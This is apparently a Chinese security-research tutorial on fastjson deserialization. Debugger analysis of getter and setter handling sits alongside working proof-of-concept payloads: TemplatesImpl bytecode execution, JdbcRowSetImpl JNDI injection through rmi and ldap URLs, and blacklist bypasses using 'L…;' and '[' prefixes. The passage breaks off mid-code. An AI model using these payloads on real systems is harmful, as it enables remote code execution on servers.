fastjson反序列化

fastjson反序列化

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,可以序列化一个对象为json字符串们,也可以反序列化一个json字符串为一个对象,其实也就是和jackson差不多的。

基本过程了解

在这里先来看json序列化和反序列化的过程。

导入依赖

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

如下就是一个简单的序列化和反序列化的过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package fastjson;

import com.alibaba.fastjson.JSON;

public class Fastjson_Test{
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("fupanc");
        person.setAge(1233);

        //序列化
        System.out.println("=====序列化=====");
        String json = JSON.toJSONString(person);
        System.out.println(json);
        //反序列化
        System.out.println("=====反序列化=====");
        Person person1 = JSON.parseObject(json,Person.class);
        System.out.println(person1.getName());
        System.out.println(person1.getAge());
    }
}

class Person  {
    private String name;
    private int age;
    public Object object;
    public Person() {
    }
    // Getters and Setters
    public String getName() {
        return name;
    }
    public void setName(String name){
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

输出为:

1
2
3
4
5
=====序列化=====
{"age":1233,"name":"fupanc"}
=====反序列化=====
fupanc
1233

这里的转换过程其实是和jackson差不多的,都是调用的getter和setter来进行的取值与赋值。

  • @JSONField注解

不知道有没有用,先简单了解一下,通过这个注解,我们可以自定义字段的名称的输出,如下demo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;

public class Fastjson_Test{
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("fupanc");
        person.setAge(1233);

        //序列化
        System.out.println("=====序列化=====");
        String json = JSON.toJSONString(person);
        System.out.println(json);
        //反序列化
        System.out.println("=====反序列化=====");
        Person person1 = JSON.parseObject(json,Person.class);
        System.out.println(person1.getName());
        System.out.println(person1.getAge());
    }
}

class Person  {
    @JSONField(name="user_name")
    private String name;
    @JSONField(name="user_age")
    private int age;
    public Person() {
    }
    // Getters and Setters
    public String getName() {
        return name;
    }
    public void setName(String name){
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

此时的输出为:

1
2
3
4
5
=====序列化=====
{"user_age":1233,"user_name":"fupanc"}
=====反序列化=====
fupanc
1233

从结果可以看出来这里的具体示例,也就是当使用了@JSONField这个注解,序列化时会将这个注解标注的字段的字段名序列化为注解指定的字段名,而反序列化时就会自动识别到这个注解标注的字段从而成功反序列化赋值。

调试分析

调试分析一下这里获取getter和setter的过程,这里就来简单说说我这里的调试过程

序列化过程

在JSON.toJSONString()处打一个断点开始调试,通过调试时的变量的值的替换,在这一步后发现调用变量存在了getter方法:

image-20250407202558373

此时的调用栈为:

1
2
3
4
5
write:272, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:637, JSON (com.alibaba.fastjson)
toJSONString:579, JSON (com.alibaba.fastjson)
toJSONString:544, JSON (com.alibaba.fastjson)
main:14, Fastjson_Test (fastjson)

我们跟进这个getObjectWriter()方法,然后一直跟进,可以发现其实主要的获取到getter方法存在如下:

image-20250407202852389

跟进这个createJavaBeanSerializer()方法:

image-20250407202953300

这里主要起作用的代码也在图中标注了,最重要的就是方法内部的第一行代码,跟进这里调用的buildBeanInfo()方法:

image-20250407203548358

再跟进这里的parserAllFieldToCache()方法:

image-20250407203747261

常见的获取字段名的操作,获取到后还将起放入到了这形参传入的HashMap类实例中,还可以看到是尝试获取了父类的字段值。

回到buildBeanInfo()方法,另外一个非常重要的方法就是computeGetters()方法:

image-20250407211304061

可以很容易看出来这里就是一个获取方法的操作,最后还是将其放入到键值对中:

image-20250407211510395

过程就不具体说了,可以自己跟一下。再回到buildBeanInfo()方法,然后对字段进行了一下排序,再返回了一个实例化的SerializeBeanInfo类:

image-20250407204347416

所以这里其实也就是一个获取到类中的信息的函数调用的操作,其实基本获取到了需要的所有消息。然后就会调用到createJavaBeanSerializer()方法:

image-20250407204452428

后续具体也就不说了,都是一些进行处理的操作。

image-20250407211903187

最后这里赋值的getters就是后续要用到的,此时的调用栈如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<init>:73, JavaBeanSerializer (com.alibaba.fastjson.serializer)
createJavaBeanSerializer:152, SerializeConfig (com.alibaba.fastjson.serializer)
createJavaBeanSerializer:126, SerializeConfig (com.alibaba.fastjson.serializer)
getObjectWriter:580, SerializeConfig (com.alibaba.fastjson.serializer)
getObjectWriter:355, SerializeConfig (com.alibaba.fastjson.serializer)
getObjectWriter:329, JSONSerializer (com.alibaba.fastjson.serializer)
write:272, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:637, JSON (com.alibaba.fastjson)
toJSONString:579, JSON (com.alibaba.fastjson)
toJSONString:544, JSON (com.alibaba.fastjson)
main:14, Fastjson_Test (fastjson)

其他过程就不多说了,重点就是获取到getter方法,对于后面的调用getter方法来获取值,代码如下:

image-20250409134430420

调用invoke()方法来进行调用,调用栈如下:

1
2
3
4
5
6
7
8
get:450, FieldInfo (com.alibaba.fastjson.util)
getPropertyValueDirect:110, FieldSerializer (com.alibaba.fastjson.serializer)
write:196, JavaBeanSerializer (com.alibaba.fastjson.serializer)
write:275, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:637, JSON (com.alibaba.fastjson)
toJSONString:579, JSON (com.alibaba.fastjson)
toJSONString:544, JSON (com.alibaba.fastjson)
main:13, Fastjson_Test (fastjson)

自己调一下就知道了。

反序列化过程

打断点于JSON.parseObject()方法,反序列化,主要还是对setter方法的获取和调用。调试发现获取到类是在如下方法:

image-20250408160525097

那么想要获取到的过程就在这个方法中,此时调用栈:

1
2
3
4
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
parseObject:456, JSON (com.alibaba.fastjson)
main:18, Fastjson_Test (fastjson)

继续跟进这个方法,一直走,看到一个非常熟悉的变量:

image-20250409125020191

JavaBeanInfo,应该同样是一个获取到类相关属性的操作,跟进这里调用的build()方法,可以看到又是一个获取类的变量以及方法的处理:

image-20250409125235358

后面就是对方法的处理,来获取到setter方法,还有处理getter方法的逻辑,这里也就不多说了,在这里的处理方法都是将获取到的类属性,放入到一个FieldInfo类中,然后放入到一个数组中,最后实例化一个JavaBean类:

image-20250409130525687

继续跟进这个类的实例化,然后还是将其赋值给这个类的变量,和序列化那里大相径庭:

image-20250409130738302

具体如下:

image-20250409134858785

也就是获取到了一个变量的setter方法。那么哪里对这个setter进行了调用呢,这里赋值完了然后,一直回退,到如下方法:

image-20250409135336422

这里是将生成的derializer放进一个键值对,然后一直回退,会调用deserialze方法进行处理,然后一直往后面走,这里会调用createInstance()方法来创建一个类实例:

image-20250409140618644

主要是利用的无参构造方法:

image-20250412131514863

createInstance()方法也就是返回的这个object,回到调用的deserialze方法,继续往后,会调用setValue()方法来进行赋值:

image-20250409140650413

setValue()方法内部同样调用了invoke()方法进行赋值:

image-20250409140806906

可以看到这里就是对前一个类实例调用的setAge()方法,从而可以成功赋值,并且最后是返回的这个赋值完了的类实例:

image-20250409141020301

最后就成功json反序列化得到了指定的类。

从上面的整个过程来看,可以看出确实是调用的getter和setter来进行的序列化和反序列化的取值与赋值,现在来看看这里的具体利用。

@type属性说明

在前面我们都是对一个类进行的json序列化和反序列化,从而可以获取并调用到对应类的getter和setter,但是既然都是获取getter了,那么肯定是要尝试常见的Templates链,那么怎么可以指定一个类的序列化呢?这就与@type属性有关了,这个属性可以直接解析指定的类,我们可以进行如下尝试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson_Test{
    public static void main(String[] args) {
        JSONObject person1 = JSON.parseObject("{\"user_age\":1233,\"user_name\":\"fupanc\"}");
        System.out.println(person1);
    }
}

简单调试理解一下,可以知道这里大概就是一个将String类型的json字符串给解析成一个JSONObject对象,对象存在如下内容:

image-20250409170705211

那么但是这样就不能将其解析为一个对象了,和我们之前分析的有很大区别,这里就需要利用到@type这个属性了,如下测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.JSONObject;

public class Fastjson_Test{
    public static void main(String[] args) {
        String string = "{\"@type\":\"fastjson.Person\",\"user_age\":1233,\"user_name\":\"fupanc\"}";
        JSONObject person1 = JSON.parseObject(string);
        System.out.println(person1);
    }
}

class Person  {
    @JSONField(name="user_name")
    private String name;
    @JSONField(name="user_age")
    private int age;
    public Person() {
    }
    // Getters and Setters
    public String getName() {
        return name;
    }
    public void setName(String name){
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

其实主要就是前面部分有点区别,后面部分和前面调试分析的反序列化过程就很想像了,我们还是打断点于parseObject()方法,然后会调用parse()方法:

image-20250409174420111

持续跟进重载的parse()方法,如下的代码处理是最关键的:

image-20250409174521689

会调用DefaultJSONParser类的parse()方法,然后就给出关键部分吧,过程涉及到的类比较多,还是给一个调用栈就行了,自己调试一下过程即可,到如下关键代码处:

image-20250409174849532

这里会调用TypeUtils类的loadClass()方法,注意一下这里条件的满足,需要key为@type等,并且这里实际是调用类加载器来加载Person类:

image-20250409175041098

调用栈如下:

1
2
3
4
5
6
7
8
loadClass:1032, TypeUtils (com.alibaba.fastjson.util)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, Fastjson_Test (fastjson)

在返回了这个Class对象后,然后又跟进,到如下代码:

image-20250409175133681

这里不就是前面反序列化时的代码吗,所以是可以调用到setter方法的,就不分析了,可以成功获取到Person类实例:

image-20250409175412810

所以最后还是返回的这个Person类对象,只是将其转换成了JSON对象: image-20250409173223899

而在这个toJSON方法中,又存在前面分析的序列化过程,跟进这个toJSON()方法,在后续重载的toJSON()方法中,调用到了如下方法:

image-20250409173618827

一直往后面跟可以知道就是前面的序列化过程,这里就不多说了,最后获取到的对象如下:

image-20250409173813303

继续往后面看:

image-20250409173954687

这里的getFieldValuesMap()方法就是调用getter来获取值,然后以键值对形式放入JSONObject中,最后返回了JSONObject实例,也就是最后调用parseObject()获取到的东西。

从上面的整个过程来看,即调用了setter,还调用了getter,后面从几个版本来来看看这里的利用点。

这里还有个点不得不说明:fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。具体体现就在后面的例子中说明。

还有些其他要求,这里就不多说了,看后面的调用链,并且其实在前面的代码调试分析中都是有体现的,只是没细说。

补充说明

主要是补充前面遗漏的一个细节,在前面的分析中,也是提到了一个点,在反序列化的时候,除了会调用setter,还会处理getter,在一定情况下,这个的getter利用是非常关键且重要的,我们还是以上面反序列化的代码进行测试,分析几个必要的条件,然后再给出一个例子来进行证明,分析代码还是如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;

public class Fastjson_Test{
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("fupanc");
        person.setAge(1233);

        //序列化
        System.out.println("=====序列化=====");
        String json = JSON.toJSONString(person);
        System.out.println(json);
        //反序列化
        System.out.println("=====反序列化=====");
        Person person1 = JSON.parseObject(json,Person.class);
        System.out.println(person1.getName());
        System.out.println(person1.getAge());
    }
}

class Person  {
    @JSONField(name="user_name")
    private String name;
    @JSONField(name="user_age")
    private int age;
    public Person() {
    }
    // Getters and Setters
    public String getName() {
        return name;
    }
    public void setName(String name){
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

这里就直接聚焦于反序列化了,其实重点就是两个地方,方法的获取以及调用,对于方法的获取,在前面都是提到了,对于方法的调用是一笔带过的,这里具体分析一下,当时提到了会有对getter方法的处理,因为我们这里获取方法是直接调用的getMethods()来进行的,这里先从反序列化调用setter的代码来看,基本的调用是差不多的:

在取方法并进行调用的代码位于:

image-20250411210414182

在setValue()方法的调用:

image-20250411210639587

也就是前面传递的fieldInfo变量,此时的变量定义如下:

image-20250411210731435

最后是再调用的invoke()方法来进行的方法调用:

image-20250411210820988

调用栈为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
setAge:42, Person (fastjson)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
parseObject:456, JSON (com.alibaba.fastjson)
main:18, Fastjson_Test (fastjson)

我们再来看一下关键的sortedFieldDeserializers变量的赋值的地方: image-20250411210215683

其实就是sortedFields,也就是上面的JavaBeanInfo.build()方法调用的类变量的结果:

image-20250411211223545

具体实现在: image-20250411211354987

这里也是前面标注出来的,数组copy过程,这里就涉及到了一个非常重要的变量:fielList ,也是形参传递的一个变量,回过去看这个变量的赋值情况,可以发现主要是通过下面这个方法来进行赋值的:

image-20250411211956349

并且这个是存在于处理getter方法的逻辑中的,我们去看一下需要处理的条件:

image-20250411212246987

方法名字长度得大于4,然后不能是静态方法,然后需要以get开头,还有条件如下:

image-20250411212347411

需要满足这个方法的返回值是这几个类型中的其中一个才能进入后面的条件,并且还需要这个变量没有setter,只有getter :

image-20250411214506898

跟进这里关键的getField()方法:

image-20250411214547418

从上面的代码可以看出来,这里需要返回null,看这里的代码逻辑,就是判断这个fieldList是否有相同的字段名称,而在前面的fieldList赋值逻辑中,是先处理的setter,然后才是处理的getter,为了这里能返回null,所以需要这个字段没有setter,这fieldList中才不会有这个"name" ,基于上面的条件,可以进行如下代码测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package fastjson;

import com.alibaba.fastjson.JSON;
import java.util.Map;

public class Fastjson_Test{
    public static void main(String[] args) {
        Person obj = (Person)JSON.parseObject("{\"map\":{}}",Person.class);
    }
}

class Person  {
    private Map map;

    public Person() {
    }
    public Map getMap() {
        try{
            java.lang.Runtime.getRuntime().exec("open -a Calculator");
        }catch (Exception e){
            e.printStackTrace();
        }
        return map;
    }
}

运行成功弹出计算机。如下几个点说明:

  • 为什么是反序列化的{"map":{}},其实这个点是在下面的fastjson<=1.2.24的TemplatesImpl链说过的,也就是如果json字符串没有对变量进行赋值,fastjson会获取这个变量的默认类型的无参构造方法进行实例化然后赋值。
  • 然后就再调试看一下这里的getter方法的调用代码实现,前面都还是差不多的,利用点变了:

image-20250411220309400

跟进这个parseField()方法:

image-20250411220549989

这里还是会调用到setValue()方法: image-20250411220702606

最后还是成功调用invoke()方法从而调用getMap()方法从而弹出计算机。

利用链学习

fastjson<=1.2.24

两条链子,这里来调试分析一下,依赖为:

1
2
3
4
5
<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

TemplatesImpl链

既然都是可以调用getter和setter了,那么在JDK8环境下最经典的还是TemplatesImpl链了,这里利用的getter方法还是getOutputProperties()方法,这个方法内部会调用到newTransformer()方法,从而完成一次完整的链子的调用,POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class Fastjson_Test {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();

        String encodedCode = Base64.getEncoder().encodeToString(classBytes);
        System.out.println(encodedCode);

        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"fupanc\",\"_bytecodes\":[\"yv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAY=\"],\"_class\":null,\"_tfactory\":{},\"_outputProperties\":{}}";
        JSONObject jsonObject = JSON.parseObject(json, Feature.SupportNonPublicField);
    }
}

运行后弹出计算机,这里设置了_outputProperties是为了可以调用到他的getter方法,注意一下这里的代码构造,对于byte[][]类型的数据,由于base64编码只能编码byte[]类型的数据,所以这就又加了一个数组将其转换成[][]类型的数据。

这里就说明几个点,算是比较关键的点:

  • 网上有的payload没管_class变量,这是因为这个变量默认是null:

image-20250411180902467

  • 这里并没有对_tfactory变量进行赋值,这是因为如果json字符串没有对变量进行赋值,fastjson会获取这个变量的默认类型的无参构造方法进行实例化然后赋值,而这里刚好是我们需要的类型:

image-20250411181545359

  • 这里利用了一个Feature.SupportNonPublicField,这个起到了什么作用,我们在获取方法时,比如setter,其实setter基本都是private类型的变量,这里设置这个就是为了用来给私有变量进行赋值的。

这个算是比较老版本的了,可以调试跟一下,这类的过程就和前面分析的parseObject()过程是不一样了的,我们这里还需要传入另外一个Feature.SupportNonPublicField,其实是并没有调用toJSON的:

image-20250411184310920

也就和前面分析的过程不一样了,所以真正调用getter的地方并不是前面分析的toJSON()方法的序列化,而是另外的地方,基本过程在前面补充说明中,现在来看看为什么这个_outputProperties变量符合那几个条件: 变量的getter方法如下:

image-20250411221326498

返回类型为Properties.class,其父类为Hashtable,而Hashtable实现了Map接口,然后这个类没有setter方法,不是静态方法,长度大于4,完美符合,这也就是为什么在反序列化的时候调用到了getter方法从而实现了一次调用链的执行。

JdbcRowSetImpl链

这里利用到的类是jdbcRowSetImpl类,这个类位于com.sun.rowset.JdbcRowSetImpl,简单看了一下这个类,可以看到一个可以触发jndi注入的方法:

image-20250412130255222

看一下这里有无调用connect()方法的代码,找到了一个getter:

image-20250412130526131

和一个setter:

image-20250412130545784

对于这个getter,可以想一下是否可以在反序列化的时候调用,对应变量无setter方法,返回属性为DatabaseMetaData,不满足那几个属性之一,只能放弃。那么现在着重看setter方法:

image-20250412161931619

需要conn为null,而在前面的学习中,可以知道实例化类时是调用的newInstance(),也就是会调用默认的构造方法,可以看一下这里的默认的构造方法:

image-20250412162040971

会将conn设置为null,然后再跟进connect()方法需要的参数:

image-20250412162130197

主要就是这个getDataSourceName()方法,跟进发现是返回的父类BaseRowSet的一个变量:

image-20250412162202091

还是直接赋值即可,父类存在setter方法来进行赋值:

image-20250412163054996

那么就可以尝试打一个jndi了(注意java的版本):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson_Test{
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Hello\",\"autoCommit\":\"true\"}";

        JSONObject obj = JSON.parseObject(json);
    }
}

我这里是尝试的打rmi,基本流程就和jndi打rmi一样的,最后成功弹出计算机。

1.2.25<=fastjson<=1.2.41

在这个版本下,加了黑白名单,具体以第一个版本,后面几个都是绕过。

pom依赖改成:

1
2
3
4
5
<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.25</version>
    </dependency>

其实就是改一下版本即可。

可以看到加了的黑名单:

image-20250412170058841

具体的黑名单如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

把com.sun包下的类都禁了,导致前面的两条链子都打不了了。

这里再来简单看一下调用链过程,还是用前面的打jndi注入的地方来调试,主要的不同在于如下代码:

image-20250412171234410

原本我们是直接调用loadClass()方法来加载类,这里加了一个检测,跟进这里的checkAutoType()方法:

image-20250412172108550

调用栈为:

1
2
3
4
5
6
7
8
checkAutoType:844, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, Fastjson_Test (fastjson)

再看上图,autoTypeSupport默认是false,这里如果想要调用到loadClass()方法,除了不匹配到黑名单,还需要匹配到白名单,但是这里的白名单又是空: image-20250412172335592

如果不进行处理的话就不可能可以调用到loadClass()方法。但是在这个方法的处理中,可以看到有三个地方都有调用TypeUtils.loadClass(),除了上面这个,顺序分别为:

image-20250412172657192

image-20250412172108550

以及:

image-20250412172719199

在最后一个图片,可以看到这里的调用都是和autoTypeSupport变量相关的,这里的expectClass变量是形参传递的,肯定为null,那么这里只要可以尝试控制autoTypeSupport为true,并且不触发黑名单,白名单不用管,反正白名单是不会触发的,本来就是一个空的。那么就可以尝试在这里进行一次加载类。

黑名单怎么解决,当时可以尝试使用黑名单之外的类,还有另外的解法,跟进TypeUtils.loadClass()方法,有一个利用点:

image-20250412174956868

最开始我们是直接进行最下面方法的调用,然后直接返回加载的类,现在看我们这里标注出来的两个代码块:

  • 对于第一个,如果以[开头,就是@type键的值以[开头,就使用substring方法来截断获取[后面的方法,然后再次调用loadClass()方法来加载,但是会之类最后是放进了一个数组,后面还需要进行处理。

  • 对于第二个,如果对应值以L开头并且以;结尾,那么同样截取中间的内容,然后再次调用loadClass()方法来加载,这个就比较好用了,是直接返回的loadClass()处理完的数据,不用在后面的代码进行处理。

这里我们先以第二个为例来完成一次调用,再来分析构造第一个的payload。在前面的了解中,我们可以知道离不开的变量就是autoTypeSupport,我们需要他为false,跟进这个变量的赋值:

image-20250412175749373

再看AUTO_SUPPORT变量的赋值,默认情况下就是如下代码:

image-20250412181516840

知道这里最后为false即可,怎么设置这个类的autoTypeSupport变量,在这个类其实是存在一个setter方法的,用于给这个变量赋值:

image-20250412181721989

但是我们并不能直接在json数据字符串中赋值,因为这个类也是直接从形参上定义的,简单溯源如下:

image-20250412181847468

调用的config变量的这个方法(也就是ParserConfig类的checkAutoType()方法),并且可以知道是DefaultJSONParser这个类的config变量,也是调试分析时经常出现的,溯到DefaultJSONParser类的实例化:

image-20250412182154573

对应内容为:

image-20250412182544145

形参传递就不多说了,跟一下就知道了,所以config的赋值就是这个,从中可以看出这里就是实例化了一个ParserConfig类,变量都是默认的,所以在json字符串对是不可控的,所以其实有一定的局限性的,最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:2333/fupanc\",\"autoCommit\":\"true\"}";

        JSONObject obj = JSON.parseObject(json);
    }
}

运行后成功弹出计算机。

对应的TemplatesImpl如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_name\":\"fupanc\",\"_bytecodes\":[\"yv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAY=\"],\"_class\":null,\"_tfactory\":{},\"_outputProperties\":{}}";
        JSONObject obj = JSON.parseObject(json, Feature.SupportNonPublicField);
    }
}

那么对于数组的形式,JdbcRowSetImpl的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:2333/fupanc\",\"autoCommit\":\"true\"}";
        JSONObject obj = JSON.parseObject(json);
    }
}

运行后成功弹出计算机。

TemplatesImpl如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test{
    public static void main(String[] args) throws Exception {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
